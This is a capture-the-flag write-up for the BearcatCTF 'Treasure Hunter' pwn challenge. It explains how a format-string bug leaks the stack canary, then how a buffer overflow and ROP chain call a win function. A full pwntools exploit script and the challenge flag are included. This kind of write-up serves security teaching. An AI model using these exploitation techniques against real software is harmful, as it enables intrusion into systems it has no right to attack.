Treasure Hunter

BearcatCTFby smothy

Treasure Hunter - PWN

Points: 280 | Flag: BCCTF{rOp_cHaIn_hAs_BeEn_pWnEd} | Solved by: Smothy @ 0xN1umb

treasure pirate gif

what we got

binary called vuln, 64-bit ELF, dynamically linked, not stripped. classic setup. description says the captain needs help finding the secret treasure, so we're looking for a flag file read somewhere.

$ checksec vuln Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

no PIE is nice, canary is annoying but we'll deal with it. NX means no shellcode on stack but who cares when we got ROP.

running the binary it asks for your pirate name (10 bytes), then asks where the treasure is. two inputs = two potential vulns. lets dig in.

the solve

step 1: find the goods

threw it into analysis and found the interesting bits pretty quick:

  • win() function at 0x4011a6 - opens and prints flag.txt. checks if rdi == 6 or rsi == 7 before doing it tho
  • first input: 10 bytes read, then straight into printf(user_input) - format string bug lmaooo
  • second input: reads 0x70 (112) bytes into a buffer at rbp-0x30 - thats 48 bytes of buffer but we can write 112. buffer overflow ez

the canary is at rbp-0x08 so we need to leak it before we can smash the stack. perfect use case for that format string bug.

step 2: leak the canary

format string time. the canary lives on the stack and we just need to find it. after some poking around with %p leaks:

%13$p

position 13 on the stack is our canary. ship it. we send exactly 10 bytes (format string + null padding) since the input is limited:

python
p.send(b'%13$p\x00\x00\x00\x00\x00')

binary prints back Hello 0x<canary_value> and we parse it out. ez leak.

step 3: ROP chain go brrrr

now we got the canary, time to overflow. layout is:

[buffer: 40 bytes padding] [canary: 8 bytes] [saved rbp: 8 bytes] [return address]

buffer is at rbp-0x30 (48 bytes) but canary is at rbp-0x08, so 40 bytes of junk gets us there. then we place the canary, fake rbp, and our ROP chain.

since no PIE, addresses are fixed. we need:

  • pop rdi; ret at 0x40132d - to set rdi = 6 for the win function check
  • ret at 0x40101a - stack alignment (the classic x64 16-byte alignment pain)
  • win() at 0x4011a6 - bag secured
python
payload = b'A' * 40          # padding to canary
payload += p64(canary)        # leaked canary
payload += p64(0)             # saved rbp (dont care)
payload += p64(pop_rdi)       # pop rdi; ret
payload += p64(6)             # rdi = 6 (win check)
payload += p64(ret_gadget)    # align stack
payload += p64(win_addr)      # call win(6) -> flag

full exploit

python
from pwn import *
import time

context.binary = './vuln'

pop_rdi = 0x40132d
ret_gadget = 0x40101a
win_addr = 0x4011a6

LOCAL = args.LOCAL
if LOCAL:
    p = process('./vuln')
else:
    p = remote('chal.bearcatctf.io', 28799)

# Stage 1: Leak canary via format string
p.recvuntil(b'name pirate?')
p.send(b'%13$p\x00\x00\x00\x00\x00')

# Parse canary - output is "Hello <fmt_output>\n"
p.recvuntil(b'Hello ')
canary_str = p.recvuntil(b'\n', drop=True)
canary = int(canary_str, 16)
log.info(f'Canary: {hex(canary)}')

# Stage 2: Buffer overflow
# Buffer at rbp-0x30, canary at rbp-0x08 = 40 bytes padding
payload = b'A' * 40
payload += p64(canary)
payload += p64(0)          # saved rbp
payload += p64(pop_rdi)    # pop rdi; ret
payload += p64(6)          # rdi = 6 (passes check in win)
payload += p64(ret_gadget) # stack alignment
payload += p64(win_addr)   # win(6)

p.recvuntil(b'treasure is?')
time.sleep(0.5)
p.send(payload)
time.sleep(1)

try:
    data = p.recvall(timeout=3)
    print(data.decode(errors='replace'))
except:
    data = p.recv(timeout=3)
    print(data.decode(errors='replace'))

ngl this was a clean two-stage pwn. format string to leak canary, overflow to ROP into win. no libc leak needed, no PIE to worry about. just good old fashioned stack smashing with a side of format strings.

the ret gadget for alignment was lowkey the thing that would trip ppl up if they forgot about it. x64 be like "16 byte align or die" fr fr

hacking gif

flag

BCCTF{rOp_cHaIn_hAs_BeEn_pWnEd}

smothy out :v: